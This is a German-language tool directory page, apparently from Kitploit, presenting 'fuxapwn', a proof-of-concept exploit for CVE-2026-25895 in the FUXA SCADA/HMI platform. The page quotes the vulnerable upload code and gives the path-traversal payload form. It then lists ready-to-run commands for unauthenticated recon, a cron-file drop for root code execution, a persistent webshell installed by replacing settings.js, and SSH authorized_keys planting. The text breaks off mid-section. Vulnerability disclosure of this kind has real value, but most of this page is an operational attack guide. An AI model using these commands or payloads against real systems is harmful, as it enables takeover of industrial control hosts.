Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FUXAPWN — Proof-of-Concept-Exploit für CVE-2026-25895 FUXA Nicht authentifizierter Path Traversal -> Arbitrary File Write -> RCE | Kitploit
Tools/GitHubGitHub/hann1bl3l3ct3r/fuxapwn
Privilege EscalationAufklärungPersistenzmechanismenSchwachstellenanalyseExploitationLaterale BewegungSCADA/ICS-SicherheitWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsPayload-Entwicklung
236vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubhann1bl3l3ct3r/fuxapwn

FUXAPWN

Proof-of-Concept-Exploit für CVE-2026-25895 FUXA Nicht authentifizierter Path Traversal -> Arbitrary File Write -> RCE

Repository anzeigen

CVE-2026-25895 — FUXA <= 1.2.9 Nicht authentifizierter Path Traversal zu Remote Code Execution

Nicht authentifiziertes, Pre-Auth beliebiges Dateischreiben gegen FUXA, eine Node.js-basierte SCADA/HMI-Plattform. Verkettet zu Remote Code Execution über mehrere verschiedene Post-Write-Primitiven. Funktioniert selbst wenn secureEnabled = true (Authentifizierung aktiviert) ist, da der angreifbare Endpunkt keine Middleware hat.

Auch verfügbar auf ExploitDB: https://www.exploit-db.com/exploits/52568

FeldWert
CVE-IDCVE-2026-25895
BetroffenFUXA <= 1.2.9
BehobenFUXA 1.2.10
Anbieterfrangoteam / FUXA
AngriffsvektorNetzwerk (HTTP/HTTPS)
AuthentifizierungKeine erforderlich
AuswirkungBeliebiges Dateischreiben, Remote Code Execution
CVSS v3.19.8 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ForscherAnthony Cihan (Hann1bl3L3ct3r)

Zusammenfassung

Der Endpunkt POST /api/upload von FUXA (server/api/projects/index.js:193) ist ohne Middleware registriert und umgeht sowohl die secureFnc-JWT-/API-Key-Prüfung als auch die Admin-Berechtigungsstufe, die auf alle anderen Projektverwaltungs-Endpunkte angewendet wird. Innerhalb des Handlers wird das JSON-Body-Feld destination mit nur einem führenden Unterstrich und ohne Normalisierung oder Containment-Prüfung in einen Dateisystempfad eingefügt:

let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath          = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);

Ein destination-Wert der Form a/../../../../../etc (wobei a das führende Unterstrich-Präfix absorbiert) lässt path.resolve von Node aus appDir an jeden Ort ausbrechen, den der FUXA-Prozess beschreiben kann. Da fs.writeFileSync von einem bedingten fs.mkdirSync(dir, { recursive: true }) vorausgeht, kann der Angreifer auch bei Bedarf übergeordnete Verzeichnisse erstellen.

Das Ergebnis ist eine nicht authentifizierte, beliebige Dateischreib-Primitive, die über den Standard-HTTP-Port (1881) erreichbar ist und unabhängig davon, ob der FUXA-Administrator das Login aktiviert hat, pre-auth ausgenutzt werden kann.

Auswirkung

Ein nicht authentifizierter entfernter Angreifer kann:

  • Beliebige Dateien, die das FUXA-Dienstkonto erreichen kann, schreiben oder überschreiben
  • settings.js ersetzen, um beim nächsten Neustart von FUXA Codeausführung zu erreichen
  • Einen Cron-Job (/etc/cron.d/<file>) ablegen, um innerhalb von 60 Sekunden Codeausführung zu erreichen, wenn FUXA als root läuft (Standard im Docker-Image des Anbieters)
  • Einen HTTP-Webshell-Listener innerhalb des FUXA-Node-Prozesses installieren
  • SSH-Public-Keys in /root/.ssh/authorized_keys oder in ~/.ssh/authorized_keys eines beliebigen Benutzers ablegen
  • Das lokale Benutzerkonto, unter dem FUXA läuft, sowie andere auf dem Host vorhandene Konten über einen dateisystemebenen-Seitenkanal enumerieren

Dies ist ein pre-auth kritischer Befund auf einer ICS/SCADA-Plattform, die zur Steuerung industrieller Prozesse verwendet wird.

Betroffene Versionen

VersionStatus
<= 1.2.9Anfällig
1.2.10+Behoben

Bestätigt ausnutzbar gegen eine saubere Installation von FUXA 1.2.9 auf Ubuntu Server.

Proof of Concept

Einzeldatei-Python-3-Skript, eine Drittanbieter-Abhängigkeit (requests).

pip install requests
python3 fuxapwn.py --help

Schnelle nicht authentifizierte Aufklärung

Identifizieren des laufenden OS-Benutzers, der Node-RED-Exposition und anderer Konten auf dem Host, ohne etwas Ungewöhnliches zu schreiben:

python3 fuxapwn.py -u http://target:1881 --mode recon \
    --probe-root --probe-home

Beweisen der Schreibprimitive

Schreiben einer neutralen /tmp/healthcheck-Markierung (keine CVE-spezifischen IOCs im Dateinamen oder -inhalt):

python3 fuxapwn.py -u http://target:1881 --mode canary

One-Shot-RCE

Wenn FUXA als root läuft, einen Cron-Datei ablegen, die innerhalb von 60 Sekunden ausgelöst wird, ohne dass ein Neustart von FUXA erforderlich ist:

python3 fuxapwn.py -u http://target:1881 --mode cron \
    --cron-cmd 'id > /tmp/fx.txt 2>&1'

Persistente Webshell via settings.js-Ersatz

Installieren eines HTTP-Webshell-Listeners innerhalb des FUXA-Node-Prozesses (aktiviert sich beim nächsten Kaltstart, da require() Module cached), dann in ein interaktives REPL wechseln, sobald FUXA neu startet:

# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
    --appdata /opt/FUXA/server/_appdata --ws-port 31337

# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
    --ws-host target --ws-port 31337 \
    --ws-path /_abc123 --ws-token <printed-above> --interact

Betriebsmodi

ModusZweck
reconNicht authentifiziertes Informationsleck via GET /api/settings; leitet den laufenden OS-Benutzer aus absoluten Pfaden ab; meldet Node-RED-Status; optionale --probe-root- und --probe-home-aktive Sonden
canaryBeweis der Dateischreibprimitive mit einem neutralen Standardpfad
settings-rceErsetzt settings.js mit einem Payload, der beim nächsten Kaltstart von FUXA einen konfigurierbaren Befehl ausführt
ssh-keySchreibt einen öffentlichen Schlüssel in authorized_keys eines Zielbenutzers
dropBeliebiger Dateiabwurf an einen beliebigen absoluten Pfad
cronLegt /etc/cron.d/<name> für RCE innerhalb von 60 Sekunden ab, ohne auf einen Neustart von FUXA zu warten (erfordert FUXA als root)
webshellInstalliert einen HTTP-Webshell-Listener innerhalb des FUXA-Node-Prozesses via settings.js-Ersatz (aktiviert beim nächsten Kaltstart)
webshell-execClient für eine bereits installierte Webshell; einzelner Befehl oder --interact REPL

Vollständige modusbezogene Flags-Referenz: python3 fuxapwn.py --help.

Technische Hinweise

Nicht authentifiziertes Konfigurationsleck

GET /api/settings (server/api/index.js:103) ist ohne Middleware registriert und gibt die Live-Laufzeitkonfiguration zurück, leicht redigiert (der Server löscht secretCode und smtp.password vor dem Senden). Die verbleibenden Felder lecken absolute Pfade (appDir, workDir, userSettingsFile, logsDir, uploadFileDir), die typischerweise den Dienstbenutzer identifizieren, sowie nodeRedEnabled, was ein direkter Hinweis auf einen zweiten nicht authentifizierten RCE-Pfad ist (siehe unten).

Benutzerlauf-Enumeration auf Non-Root-, Non-Docker-Installationen

Tool herunterladen